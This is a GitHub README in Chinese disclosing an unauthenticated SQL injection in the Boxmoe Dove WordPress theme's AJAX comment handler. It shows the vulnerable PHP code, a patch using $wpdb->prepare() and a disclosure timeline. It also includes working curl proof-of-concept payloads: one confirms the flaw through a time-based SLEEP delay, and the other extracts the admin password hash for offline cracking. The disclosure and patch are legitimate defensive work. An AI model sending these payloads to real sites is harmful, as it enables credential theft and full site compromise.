Kimdir01/boxmoe-dove-sqli-cve
GitHub: Kimdir01/boxmoe-dove-sqli-cve
针对 Boxmoe Dove WordPress 主题 AJAX 评论处理器中未授权 SQL 注入漏洞(CVSS 9.8)的概念验证与漏洞披露项目。
Stars: 0 | Forks: 0
# CVE-2026-XXXXX
## 通过 AJAX 评论处理器发现的 Boxmoe Dove WordPress 主题未授权 SQL 注入漏洞
### 漏洞公告信息
| 字段 | 值 |
|-------|-------|
| **生态系统** | WordPress 主题 |
| **包/产品** | Boxmoe Dove WordPress 主题 |
| **受影响版本** | 包括 commit `13e8994` 在内的所有版本 |
| **已修复版本** | 无 |
| **严重程度** | **严重 (CVSS 9.8)** |
| **CWE** | CWE-89 (SQL 注入) |
| **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **代码库** | https://github.com/baomihuahua/boxmoe-dove- |
| **星标数** | 198 ⭐ |
### 概述
Boxmoe Dove WordPress 主题在其自定义 AJAX 评论处理器 (`module/fun-ajax-comments.php`) 中包含一个未授权 SQL 注入漏洞。评论的作者、邮箱和内容字段仅通过 `trim()` 和 `strip_tags()` 进行清理——这两种方法都无法防止 SQL 注入——随后在未使用 `$wpdb->prepare()` 或 `esc_sql()` 的情况下,被直接拼接进 SQL `SELECT` 查询中。
### 受影响组件
| 字段 | 值 |
|-------|-------|
| **生态系统** | WordPress 主题 |
| **包名** | baomihuahua/boxmoe-dove- |
| **供应商** | baomihuahua |
| **受影响版本** | 全部 |
| **已修复版本** | 无 |
| **文件** | `module/fun-ajax-comments.php`,第 114–117 行 |
### 描述
该主题实现了一个自定义 AJAX 评论 endpoint,绕过了 WordPress 标准的 `wp-comments-post.php` 及其内置的清理链 (`preprocess_comment` → `wp_filter_comment`)。输入仅通过 `trim()` 和 `strip_tags()` 进行清理,然后直接用于 SQL 查询:
**存在漏洞的代码 (`module/fun-ajax-comments.php`,第 48–117 行):**
```
// Line 48: Input — strip_tags only, NO SQL escaping
$comment_author = (isset($_POST['author'])) ? trim(strip_tags($_POST['author'])) : null;
$comment_author_email = (isset($_POST['email'])) ? trim($_POST['email']) : null;
$comment_content = (isset($_POST['comment'])) ? trim($_POST['comment']) : null;
// Lines 114-117: Raw concatenation into SQL — NO $wpdb->prepare()!
$dupe = "SELECT comment_ID FROM $wpdb->comments
WHERE comment_post_ID = '$comment_post_ID'
AND ( comment_author = '$comment_author' ";
if ($comment_author_email)
$dupe .= "OR comment_author_email = '$comment_author_email' ";
$dupe .= ") AND comment_content = '$comment_content' LIMIT 1";
if ($wpdb->get_var($dupe)) { // ← SQL INJECTION
err('Duplicate comment detected');
}
```
**注意:** 开发者了解 `$wpdb->prepare()` —— 它在第 122 行的频繁发送检查中被使用——但在第 114 行的重复检查查询中却遗漏了。
### 概念验证
**环境:** 启用了 Boxmoe Dove 主题并开启评论功能的 WordPress 6.x。
**PoC #1 — 基于时间的盲注:**
```
# 通过 5 秒延迟确认漏洞
# 注意:如果 fun-ajax-comments.php 是通过 wp_ajax_nopriv_ hook 注册的,
# 将 URL 替换为:http://target/wp-admin/admin-ajax.php?action=
curl -X POST "http://target/wp-content/themes/boxmoe-dove-/module/fun-ajax-comments.php" \
--data "comment_post_ID=1" \
--data "author=test" \
--data "email=test@test.com" \
--data "comment=test' AND SLEEP(5) -- " \
--data "submit=Post"
# 5 秒以上的响应延迟确认存在 blind SQL injection
```
**PoC #2 — 基于时间的盲注凭据提取:**
```
# 逐个字符提取管理员密码 hash
curl -X POST "http://target/wp-content/themes/boxmoe-dove-/module/fun-ajax-comments.php" \
--data "comment_post_ID=1" \
--data "author=test" \
--data "email=test@test.com" \
--data "comment=test' AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='\$',SLEEP(5),0) -- " \
--data "submit=Post"
# 5 秒延迟 = 第一个字符匹配 '$';通过迭代重建完整密码 hash
# WordPress 以 phpass/MD5 格式存储 hash — 可进行 offline 破解
```
**执行流程:**
1. 攻击者向自定义 AJAX endpoint 发送 POST 请求(绕过 WordPress `wp-comments-post.php`)
2. `strip_tags()` 移除了 HTML 标签,但并不能防止 SQL 注入
3. Payload 被直接拼接进 `$dupe` SQL 字符串中
4. `$wpdb->get_var()` 执行了注入的 SQL
5. 基于时间的盲注提取出管理员密码哈希
### 影响
| CIA | 级别 | 描述 |
|-----|-------|-------------|
| 机密性 | **高** | 通过子查询提取所有 WordPress 用户密码哈希 |
| 完整性 | **高** | 破解管理员哈希 → 获取完全管理员权限 → 修改任何内容 |
| 可用性 | **高** | 管理员权限允许删除所有站点内容 |
**攻击场景:**
1. 未经授权的攻击者向自定义 AJAX endpoint 发送构造好的 POST 请求
2. `strip_tags()` 不提供任何 SQL 注入保护
3. 基于时间的盲注提取管理员密码哈希
4. 离线破解哈希 → 导致网站完全被攻陷
### 补丁
将原始字符串拼接替换为 `$wpdb->prepare()`:
```
- $dupe = "SELECT comment_ID FROM $wpdb->comments
- WHERE comment_post_ID = '$comment_post_ID'
- AND ( comment_author = '$comment_author' ";
- if ($comment_author_email)
- $dupe .= "OR comment_author_email = '$comment_author_email' ";
- $dupe .= ") AND comment_content = '$comment_content' LIMIT 1";
- if ($wpdb->get_var($dupe)) { ... }
+ if ($comment_author_email) {
+ $dupe = $wpdb->prepare(
+ "SELECT comment_ID FROM $wpdb->comments
+ WHERE comment_post_ID = %d
+ AND (comment_author = %s OR comment_author_email = %s)
+ AND comment_content = %s LIMIT 1",
+ $comment_post_ID, $comment_author, $comment_author_email, $comment_content
+ );
+ } else {
+ $dupe = $wpdb->prepare(
+ "SELECT comment_ID FROM $wpdb->comments
+ WHERE comment_post_ID = %d
+ AND comment_author = %s
+ AND comment_content = %s LIMIT 1",
+ $comment_post_ID, $comment_author, $comment_content
+ );
+ }
+ if ($wpdb->get_var($dupe)) { ... }
```
同时在 SQL 语句使用所有用户提供的数据之前,应用 `esc_sql()` 或预处理语句。
### 参考资料
| 类型 | URL |
|------|-----|
| 代码库 | https://github.com/baomihuahua/boxmoe-dove- |
| 存在漏洞的代码 | https://github.com/baomihuahua/boxmoe-dove-/blob/master/module/fun-ajax-comments.php#L114 |
| WordPress $wpdb::prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |
### 验证
漏洞已于 2026-06-27 通过本地代码审计确认:
```
git clone https://github.com/baomihuahua/boxmoe-dove-.git
cd boxmoe-dove-
# 确认第 114 行存在 SQL injection:
grep -n "dupe.*SELECT.*wpdb->comments" module/fun-ajax-comments.php
# 输出:114: $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE...
# 确认易受攻击的 query 上没有 prepare():
grep -B5 "wpdb->get_var.*dupe" module/fun-ajax-comments.php
# 显示原始 $dupe 拼接 — 没有 prepare() 包裹
# 确认在其他地方确实使用了 prepare()(开发者知道这一点):
grep -n "wpdb->prepare" module/fun-ajax-comments.php
# 输出:122(仅用于 flood check — 未用于 dupe query)
# 确认输入清理不充分:
grep -n "comment_content.*POST" module/fun-ajax-comments.php
# 输出:50: $comment_content = trim($_POST['comment']);
# 没有 esc_sql(),没有 prepare() — 只有 trim()
```
**验证状态:✅ 所有检查均已通过**
### 时间线
| 日期 | 事件 |
|------|-------|
| 2026-06-27 | 通过源代码分析发现漏洞 |
| 2026-06-27 | 本地验证 —— `git clone` 和代码审计确认了漏洞 |
| 2026-06-27 | 通过 GitHub 安全公告通知供应商(私下披露) |
| 待定 | 供应商确认/回应 |
| 待定 + 90 天 | 协调公开披露 |
| 待定 | 分配 CVE ID 并发布公告 |
### CVSS v3.1
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — 9.8 CRITICAL
AV:N — Remote over HTTP (custom AJAX endpoint)
AC:L — Simple POST request
PR:N — No authentication (anonymous comments)
UI:N — No user interaction
S:U — Same security context
C:H — Extract password hashes via subquery
I:H — Crack hash → admin access → modify site
A:H — Admin access → delete all content
```
标签:CISA项目, PoC, Web安全, WordPress, 多线程, 文件完整性监控, 暴力破解, 蓝队分析